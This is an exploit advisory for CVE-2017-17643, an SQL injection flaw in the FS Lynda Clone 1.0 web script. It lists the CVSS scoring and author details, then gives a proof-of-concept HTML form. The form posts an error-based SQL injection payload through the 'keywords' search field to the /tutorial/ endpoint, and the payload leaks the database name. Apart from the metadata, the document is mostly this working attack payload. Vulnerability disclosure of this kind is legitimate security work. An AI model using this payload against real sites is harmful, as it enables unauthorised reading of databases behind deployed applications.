FS Lynda Clone 1.0 SQL Injection

2017.12.15

Credit: Ihsan Sencan

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2017-17643

CWE: CWE-89

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

<!--
# # # # #
# Exploit Title: FS Lynda Clone 1.0 - SQL Injection
# Dork: N/A
# Date: 13.12.2017
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/lynda-clone/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-17643
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
-->
<html>
<body>
<form action="http://localhost/tutorial/" method="post">
<input value="1' and(select 1 FROM(select count(*),concat((select (select concat(database(),0x27,0x7e,0x494853414e2053454e43414e)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -" name="keywords" id="keywords" type="search">
<input value="GO" type="submit">
</form>
</body>
</html>

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FS Lynda Clone 1.0 SQL Injection

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